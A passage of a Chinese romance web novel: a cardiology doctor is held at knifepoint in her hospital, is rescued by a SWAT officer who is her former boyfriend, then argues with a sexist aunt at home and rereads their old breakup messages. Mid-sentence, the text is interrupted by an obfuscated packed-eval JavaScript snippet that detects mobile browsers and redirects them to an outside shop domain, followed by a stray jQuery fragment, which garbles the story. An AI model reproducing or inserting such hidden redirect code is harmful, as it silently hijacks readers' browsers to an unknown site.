1. 楔子
    心血管,222。

    心血管,222。

    重复的广播声如雷贯耳似的,响彻整个庞大的医院大楼,导医台的护士们翻出围台,兵分三路疏散人群。

    门诊处排队看诊的患者神色茫然无措,在巡逻保安指引下前呼后拥地往出挤,开门的导医险些被他们挤成肉饼,大批姗姗来迟的保安举着防爆盾牌跑进电梯。

    六楼心血管住院部顷刻间乱成一锅粥,整层患者围堵在走廊中央,大爷大妈们扒着医生办公室门框看戏,生怕危险殃及不到自己。

    护士长见状只觉眉心狠跳,立马让下属保护患病回病房,并且还要保证重症监护室的安全。

    医办室,陈听舒跪坐在地板上,黑色椅子乱七八糟地倒在身旁,她的喉咙抵着一把水果刀,崭新的白大褂上落了几滴来路不明的血迹,胸前工作牌也在混乱中掉落在地。

    她神色淡然,丝毫不惧,仿佛早已看破这人间生死。

    “这位家属,咱们有话好好说,有什么需要我们医护人员帮的我们绝对帮。”

    “放你爹的狗屁,老子亲娘就是死在你们这群庸医手里的。”男人破口大骂,口水四溅,恶臭的热气喷打在陈听舒耳后。

    他握着刀柄的力度不减反增,因情绪激动导致颈动脉贲张。

    科室主任怕他出现应激反应,立马闭嘴后退几步。

    忽地,一抹触目惊心的血红在陈听舒那羊脂玉般的脖子上缓缓绽开。那抹血红在白嫩肌肤映衬下显得格外刺眼,让门外的同事们心脏瞬间揪紧,大家对她充满了担忧与关切。

    陈听舒月初才从急诊调进心内科,对身后男人的家庭状况一无所知。秉持笨鸟先飞的道理,她中午从来不午休,而是看病历、学习。

    二十分钟前,她从餐厅回来,照旧坐在电脑前浏览管床资料。往往饱食后是人最容易犯困的时候,她从抽屉拿出快见底的醒神清凉油,突然听到身后的脚步声,来不及做出反应便被人在后挟持住,她被男人拖拽在地。

    谈判过后,被绑住手脚的陈听舒顺着他的意思开始大声呼救。

    “老子再给你们十分钟时间,见不到主刀医生,我就杀了她再跳楼。”男人笑得挑衅,用刀面轻抚陈听舒的脸颊,“反正老子烂命一条,黄泉路上有美女陪也是不错的昂。”

    科室主任医师挂断电话,走上前安抚道:“您别激动,小张已经在赶来的路上了。”

    气氛持续高涨,警察持枪处于暗处,身后的窗户降落下两捆绳索,附近执勤接到任务赶来的特警正在楼顶商量对策。

    最近换季,方便空气流通办公室的玻璃窗永远是敞开的,眼下倒是方便了特警翻窗而入行动。

    他们紧握长绳,有节奏、争分夺秒地开始索降,他们身姿轻盈如燕,身手矫捷宛如蜘蛛侠行云流水般立在垂直的高楼墙外。

    陈听舒这会儿胃疼得紧,红唇泛着惨白,冷汗顺着脸颊轮廓滴在锁骨上。

    她看起来像是突然被从水里捞起来。

    男人察觉到她的颤动,只当她是害怕了,他不由地冷嗤:“原来你们医生也怕死啊,那为什么就不能在乎一下病人的生死?”

    大白话陈听舒早已说了不下五次,此时此刻她也懒得再费口舌,任凭男人辱骂。

    生死关头,角落里伸出一只手,地面反光,那只带着防割手套的手正做着一串连贯暗号手势。

    是分散注意的意思。

    陈听舒瞬间领悟。

    她斜乜着眼看,强撑意识示弱道:“大,大哥,咱能不能先站起来,我腿麻了。”

    “闭嘴,再多话老子现在就捅死你。”

    “......”这人还真是软硬不吃。

    陈听舒还想说些什么时,瓷片地板砖有人的倒影正在向他们一步步笼罩过来。绑架犯敏锐地扑捉到,回头之时,身后传来拉力。

    “当啷”一声,刀砸落在地板上,声音清脆而响亮,在寂静的办公室里回荡着。那把刀闪着寒光,似乎还残留着刚刚那一瞬的紧张与激烈。

    这突如其来的声响,打破了原本的宁静,让人肾上腺素飙升,心跳不由自主地加快,紧张的氛围遍布在这间医办室。

    嫌疑人双眼热辣,肘部关节发麻,警察乘其扣住他的双臂,反折压倒在地,他的双腿还死死桎梏在陈听舒腰侧,带动她也跟着栽倒。

    男人痛苦地哀嚎,身体弯折成一个可怕的角度。

    陈听舒被呛到咳嗽,顾不了太多,她扭动上身挣脱,因为手脚还被绑着,只能像毛毛虫一样蠕动前行远离是非之地。

    她爬出一段距离后靠在桌子上才彻底觉得如释重负,好在脚上绑的是个活结,她匆忙解开绳子。藏在病房的警察开始收队,陈听舒顾不上还在渗血的脖子,直起身就往出跑。

    步子急切,她迎面撞上一堵温热的肉墙。

    陈听舒被撞到眼冒金星,双腿瘫软,倘若不是腰间那双手的托力,她此时将会是下跪的姿势。

    头上方传来男人沉闷的抚慰声:“站得住吗?”

    这熟悉又陌生的声音促使她猛然抬头。

    男人全身武装,黑面罩遮住大半张脸,胸前的防弹背夹印有特SWAT警几个白字。他的凤眼锐利到具有辨识度,几年不见,仅凭一双眼睛便足以让陈听舒认出这个人就是师屹然。

    她的前任。

    避嫌二字后知后觉地漫布心头,她想脱手撇得干净,也想装作没认出,奈何腿脚不给力。她扶住他的手臂,嗓音夹杂着哭声:“腿,腿麻了。”

    耳边隐约有男人的轻叹,随后,陈听舒双脚悬空,眼前一整个天旋地转,她被师屹然抱上了桌,男人的手还不知分寸地流连在两片蝴蝶骨中间。

    下一秒,陈听舒就看见他从口袋摸出一把战/术/折/刀,动作不算温柔地割断了自己手腕上的麻绳。

    她揉了揉紫红的手腕,谢谢二字却让她难以启齿。

    陈听舒进退两难,干脆垂眼不再看他。

    身后绑架犯骂咧声渐行渐远,师屹然默不作声,眼睛直勾勾地盯着她躲避的目光。那只戴着黑手套的手报复性地附上她的脖子,触上那道血珠,用力按压摩挲。

    防割手套质地偏硬,剐蹭得生疼。

    “嘶”陈听舒疼得倒抽一口凉气,碍于人多到底是没敢骂出口,只能恶狠狠地瞪他无声唾骂。

    见门口医生都涌了进来,师屹然及时收手,只留下一句话便走了。

    “脖子记得消毒。”

    *

    礼拜天早上九点半,交班和查房工作彻底结束。

    陈听舒站在镜子前脱掉工作服,没了鲨鱼夹的束缚,一头带卷的长发海藻瀑布般肆意散开。

    敞开的衣柜里,手机震了震。

    夏夏:【别忘了晚上同学聚会】

    这个点是医院最忙的时候,她提上装有脏衣服的袋子倚靠在墙上等电梯。

    她是住院部主治医师,一周有六天半都住在医院,如果不是父母强烈要求一周必须回家一趟,她估计会把休息值班室当家。

    医院离家只有4.3公里,出门便有直达地铁和公交。

    临江中心医院是全市规模最大的医院,陈听舒能够在分院上班,多半是因为陈父托关系才进去的,如此煞费苦心,为的就是她上下班能够方便。

    她从小娇生惯养,是家里老二,是父母带在身边养大的二女儿,更是家里人捧在手心里都怕捂化的珍宝。

    半个小时后,陈听舒走进自家单元楼,出电梯后就听到热闹的唠嗑声。

    门半掩,那是妈妈李淑婷专门为她留的门,陈听舒没急着进门,而是站在门外偷听。

    “你家小舒这都28了,还不打算交男朋友啊?”舅妈冠冕堂皇的声音历历在耳,看似在操心她的终身大事,实际句句是暗讽,“我记得她高中不经常因为早恋被请家长么,怎么越变越不行了。”

    李淑婷呵笑:“她还小,得忙于事业,不急。”

    “她这个年龄段正合适,这恋爱不得谈个两、三年啊,越老越没人要,你得操点心啊。”

    “你家陈树都三十好几了,不也没个女朋友么?”

    “那能一样吗?都说男人三十一枝花,女人三十豆腐渣,男人越老越有魅力,等你家听舒回来,记得给她说,让她在单位帮阿树牵条红线。”

    舅妈一贯的重男轻女封建语气,不过是在为夸自家儿子做铺垫,以前每逢春节回家探亲,老一辈人都会嘲笑李淑婷两胎都生不出一个带把的,陈家得绝后了。

    貌似在她们眼中,生不出男娃儿的女人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283394|151947||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    就像是落下案底的罪人。

    陈听舒忍无可忍,一把推开门毫不客气地回怼:“您有这闲工夫,不如多关心您儿子,陈树哥到现在还没个像样的工作,要颜没颜,要钱没钱,哪个女娃愿意跟他啊,难不成打算家里蹲一辈子?”

    “你!”舅妈气得眉毛竖起,一时想不出反驳的话来。

    陈听舒打小就不喜欢这些亲戚,只要谁敢欺负李淑婷,她就得报复回去,管她是什么长辈。

    “回来了。”李淑婷走到玄关接过自己手里的服装袋,“吃饭了吗?”

    “医院食堂吃过了。”陈听舒疲惫地点头。

    扶墙换上拖鞋后,瞥见妈妈身后那张讨厌的脸,怎么都笑不出来。

    她没有打招呼的意思,自顾自地走进厨房开天然气。

    “要我说,你家老二就是让你们惯的无法无天,目无尊长,一点都没有你家老大惹人爱。”

    陈听舒回到房间拿了套换洗衣服,以最快的速度反锁上卫生间的门,有了一扇木门的格挡,舅妈的声音不再那么尖酸刻薄。

    多半盆水后,花洒出的水才彻底热了起来,家里的热水器比值班室稳定许多,恒温效果很强,水温中途也不会突然变凉。

    热水浇湿她的头发,雾气氤氲,干湿分离的玻璃门也变得模糊。

    陈听舒脑子一片混乱,独独前几天才看到过的那双眼睛在她记忆里挥之不去,记得深切。

    她和师屹然学生时代之间的感情由她单方面断的决绝,断的彻底。

    她按了两泵洗发水,揉出泡沫后,忽然就记起高中时用的那部旧手机——

    还一直封锁在收纳箱里。

    想到这,她加快了洗澡速度,最后连头发都顾不上吹,就躲进卧室找出那个积灰的箱子。

    她抚掉盒盖上的绒毛,谨小慎微地打开箱盖,那部早已被社会淘汰的手机,正安静的躺在里面。

    好在充电器也被她保存的完好。

    她连上电源,迫不及待地长按开机键。

    等待的时间固然漫长,发梢的水一点点晕湿领口,窗户还开着,高层刺骨的风灌进她的胸口,湿透的棉布睡衣冰进骨子里。

    一分钟后,陈听舒以前最喜欢的那张合照出现在她眼底。

    划开屏保,她迟缓地逐个按密码——960824。

    手机没联网,聊天记录都还在,她一直没舍得删除。

    自打分手那天她就换了手机,也没再碰过这部旧手机,系统默默给了他们三天反悔时间。

    等到电量不足自动关机,也没等来主人的后悔。

    【你与师屹然的聊得欻欻99即将消失,今天记得打卡哦】

    【由于昨天你与师屹然未互发消息,聊得欻欻99已降级为聊得欻欻98,今日若仍旧未互发消息,标识将消失。点击恢复】

    【你与师屹然已超过1天未互发消息,聊得欻欻98已消失点击恢复】

    ...

    她不知疲倦地往下滑动,聊天记录一段接一段地出现在屏幕上,分手那天的聊天记录额外刺痛人心。

    .:【你喜欢上别人了吗?】

    C:【管得着?】

    C:【能不能别再烦我了,说了不想谈,腻了,听不懂吗?】

    C:【要点脸,放过我行么?】

    C:【滚】

    .:【你这是认真骂我的语气吗?】

    C:【是又怎样】

    .:【好】

    ...

    陈听舒愈发内疚,眼圈逐渐湿红,她慢慢放下手机,目光从屏幕转移至箱子底。

    里面是四本日记本。

    学生时代的陈听舒仗着自己有几分姿色,谈起恋爱毫不负责。三分热度的自己把人撩到就甩,腻了就踹。她被初恋伤害过,就要把痛苦加倍奉还在别人身上。

    师屹然在她这里是特殊的,是她唯一走心谈的一任。

    说不后悔是假的,那时候的她同样不舍,但选择跟他分手是唯一的解决办法。

    师屹然宛如囚笼困住她整整十年,他可以是一吹即散的蒲公英,也可以是让她越陷越深的沼泽泥潭。

    这段感情的主导者从始至终都是陈听舒,蒲公英亦或是泥潭,不过取决于师屹然在她心中的分量。